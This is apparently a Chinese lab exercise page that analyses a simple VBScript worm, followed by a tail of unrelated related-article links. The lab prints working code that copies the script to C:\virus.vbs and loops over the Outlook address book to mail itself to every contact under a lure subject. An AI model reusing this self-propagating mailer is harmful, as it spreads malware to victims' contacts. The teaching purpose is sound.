实验步骤

1、学生单击实验拓扑按钮,进入实验场景,进入目标主机。

2、学生输入账号admin ,密码123456,登录到实验场景中的目标主机。如图所示:

3、 代码分析:

Set objFs=CreateObject(“Scripting.FileSystemObject”)(创建一个文件系统对象)

objFs.CreateTextFile ("C:\virus.txt", 1)

(通过文件系统对象的方法创建了TXT文件)

如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。

倘若我们把第二句改为:

objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs")

就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征——自我复制能力。

此类病毒往往是通过邮件传播的,在vb script中调用邮件发送功能也非常的简单,病毒往往采用的方法是向outlook中的地址薄中的邮件地址发送带有包含自身的邮件来达到传播目的,一个简单的实例如下:

Set objOA=Wscript.CreateObject ("Outlook.Application")(创建一个OUTLOOK应用的对象)

Set objMapi=objOA.GetNameSpace ("MAPI")(取得MAPI名字空间)

for i=1 to objMapi.AddressLists.Count(遍历地址簿)

Set objAddList=objMapi.AddressLists (i)

for j=1 To objAddList. AddressEntries.Count

Set objMail=objOA.CreateItem (0)

objMail.Recipients.Add (objAddList. AddressEntries (j))(取得收件人邮件地址 )

objMail.Subject="你好!" (设置邮件主题,这个往往具有很大的诱惑性质)

objMail.Body="这次给你的附件,是我的新文档!" (设置信件内容)

objMail.Attachments.Add (“c:\virus.vbs")(把自己作为附件扩散出去)

objMail.Send (发送邮件)

Next

Next

Set objMapi=Nothing (清空objMapi变量,释放资源)

set objOA=Nothing (清空objOA变量)

4、实验完毕,关闭虚拟机和所有窗口。

java编写蠕虫病毒_网络蠕虫病毒代码分析相关推荐

  1. java编写应用程序_为您的Java应用程序编写数据驱动的测试

    java编写应用程序 JUnit是一个功能非常强大的测试框架,它不仅为其用户提供了编写快速简便的测试的功能,而且还为用户提供了扩展它并使其按其期望的方式工作的机会. 在JUnit之上构建了许多框架,这 ...

  2. java编写布局文件_鸿蒙OS利用JAVA编写的布局实践练习

    鸿蒙OS利用JAVA编写的布局实践练习 鸿蒙OS利用JAVA编写的布局实践练习 目录 JAVA UI框架 利用JAVA代码实现一个简单的布局 利用xml实现上述布局 JAVA UI框架 ??应用的Ab ...

  3. java编写应用程序_使用Java API编写应用程序

    java编写应用程序 总览 介绍 DB2JSON可用于DB2 Linux,Unix和Windows 10.5以及用于z / OS V3.1的IBM DB2 Accessories Suite与DB2 ...

  4. 用java编写一个抛物线运动_用js实现简单的抛物线运动

    前言 老早就看过一些购物车的抛物线效果,也想自己凑热闹动手来实现一遍. 然后(lll¬ω¬) 书到用时方恨少,发现高中学到物理啊.数学啊,都忘光了,抛物线公式都忘了0 0. 顺手百度一波,从百度可知: ...

  5. Java编写图像浏览器_浏览器下载图像(JAVA代码)

    03-07阅读8103 简介: JavaWeb下载文件通常分为两种类型,一种是浏览器可以识别的文件类型,例如.txt,.excel,.zip等,可以通过使用以下链接来实现标签,但图片下载确实很麻烦. ...

  6. 用java编写奖金税率_企业发放的奖金根据利润提成。利润(I)低于或等于10万元时,奖金可提10%_java企业利润提成计算代码...

    今天上java课程的时候老师给布置了一个作业,让让java计算一下企业该发放的奖金总额,接下来吾爱编程就为大家介绍一下java实现企业发放的奖金根据利润提成的代码,有需要的小伙伴可以参考一下: 1.题 ...

  7. java音频播放器代码_谁可以用Java编写音频或视频播放器的代码. 您可以运行实现....

    全部展开 你好房东,你可以试试这个 import javax.media.ControllerEvent; import javax.media.ControllerListener; import ...

  8. java动态执行逻辑_动态执行代码逻辑

    动态执行逻辑的方法据我所知有一下两种方式 QLExpress Groovy QLExpress QLExpress是阿里开源的动态脚本执行的项目. 由阿里的电商业务规则.表达式(布尔组合).特殊数学公 ...

  9. java编写k线_用Java绘制K线 (转)

    ---- Java语言中的Applet(Java小程序)和Application(Java应用程序)是在结构和功能上都存在很大差异的两种不同的编程方式.Applet应用于Web页上,可做出多姿多彩的页 ...

  10. java编写k线_用Java绘制K线图

    [IT168技术文档] Java语言中的Applet(Java小程序)和Application(Java应用程序)是在结构和功能上都存在很大差异的两种不同的编程方式.Applet应用于Web页上,可做 ...

最新文章

  1. 用单片机测量流体流速的_流量计是测量液体、气体流量仪表原理安装
  2. 人工智能产业展望:2018年三大难题如何破解?
  3. hive常用sql语句
  4. oauth2 增加token 返回参数_RingCentral Tech | OAuth2.0面面观
  5. MyBatis-Plus 高级功能 —— 自动填充功能
  6. Java22-day13【Lambda表达式(标准格式、练习、注意事项)、接口组成更新(默认-静态-私有方法)、方法引用(构造器)】
  7. 年轻程序员需要学习的5大经验
  8. [转载] 陈皓:一些重要的算法
  9. 低通滤波器算法实现_控制算法手记自抗扰控制的几点思考
  10. java实现两个字符串相连接_P005 实现两个字符串的连接 ★
  11. idea实现抽象类的所有抽象方法_父类子类抽象类,super final 重写方法,搞懂继承中复杂的知识点
  12. 【廖雪峰官方网站/Java教程】函数式编程
  13. 强人工智能:抑制神经元的意义
  14. Helloj2ee学Silverlight之五——Silverlight的编程模型
  15. python无法启动此程序因为_python报错:无法启动此程序,因为计算机中丢失
  16. 有关并联机器人动力学的学习
  17. 转 我的英文原版书籍阅读记录
  18. 常用计算机检索算符,计算机信息检索过程中常用的检索表达式
  19. U盘打不开的常见原因有哪些?
  20. c语言 圆周率10000位,圆周率小数点后第10000位是多少 - 圆周率 - 911查询

热门文章

  1. 剑指MBA?Acer发布全高清触控Win8平板Aspire S7
  2. 【正点原子MP157连载】第二章 ATK-STM32MP157烧写系统-摘自【正点原子】STM32MP157快速体验
  3. matlab 入门 mobi,MATLAB基础教程 pdf epub mobi txt 下载
  4. linux tomcat 7.0下载 64位,tomcat 7.0下载
  5. 图像修复经典算法--Criminisi算法
  6. Dubbo视频教程《基于Dubbo的分布式系统架构视频教程》----课程列表
  7. 简单好用的mac版Mysql可视化工具 - Sequel Pro
  8. 阿里云播放器SDK 不断读取播放事件【内部用】
  9. 利润表模板excel_Excel教程:作为财务,这些excel技巧你还不会吗?
  10. android锁屏自动清理,越用越快!华为P10为你锁屏自动清理后台缓存